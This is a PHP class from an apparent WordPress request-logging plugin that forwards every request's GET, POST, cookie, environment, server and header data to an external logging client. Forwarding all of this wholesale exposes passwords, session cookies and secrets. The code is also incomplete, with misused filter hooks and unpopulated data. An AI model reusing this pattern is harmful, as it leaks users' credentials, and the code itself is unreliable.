<?php
namespace app\wpRestApiEvent\event;


use app\wpRestApiEvent\HttpClient;
/**
 * Class EventSubscriber
 * @package app\wpRestApiEvent\event
 */
class EventSubscriber
{
    /**
     * @var array
     */
    private static $request;

    /**
     * @var array
     */
    private static $get;

    /**
     * @var array
     */
    private static $post;

    /**
     * @var array
     */
    private static $cookie;

    /**
     * @var array
     */
    private static $session;

    /**
     * @var array
     */
    private static $env;

    /**
     * @var array
     */
    private static $headers;

    /**
     * @var array
     */
    private static $server;

    /**
     * @var string
     */
    private static $parentSysLogId;

    public static function onInit()
    {
        apply_filters('parse_request', [self::class, 'onParseRequest']);
        apply_filters('http_response', [self::class, 'onResponse'], 0);
        //apply_filters('shutdown', [self::class, 'onResponse'], 0);
        register_shutdown_function([self::class, 'onShutdown']);
        apply_filters('pre_http_request', [self::class, 'onRequest'], 0);
        self::onRequest();
    }

    public static function onRequest()
    {
        $client = HttpClient::create();
        self::$parentSysLogId = $client->sendRequest(self::getSuperGlobals());
    }

    public static function onResponse(array $response, array $r, $url)
    {
        // todo: add response handler
    }

    public static function onParseRequest()
    {
        // todo: add request data from wp
    }

    public static function onShutdown()
    {
        $client = HttpClient::create();
        $client->sendResponse(self::$parentSysLogId, array_merge(self::getSuperGlobals(), [
            'headers_list' => headers_list(),
            'response_code' => http_response_code()
        ]));
    }

    public static function setGlobals()
    {
        self::$get = $_GET;
        self::$post = $_POST;
        self::$cookie = $_COOKIE;
        self::$session = $_SESSION;
        self::$env = $_ENV;
        self::$request = $_REQUEST;
        self::$server = $_SERVER;

        if (function_exists('getallheaders')) {
            self::$headers = getallheaders();
        } elseif (function_exists('http_get_request_headers')) {
            self::$headers = http_get_request_headers();
        }
    }

    /**
     * @return array
     */
    private static function getSuperGlobals()
    {
        return [
            'request' => self::$request,
            'server' => self::$server,
            'get' => self::$get,
            'post' => self::$post,
            'cookie' => self::$cookie,
            'env' => self::$env,
            'headers' => self::$headers
        ];
    }
}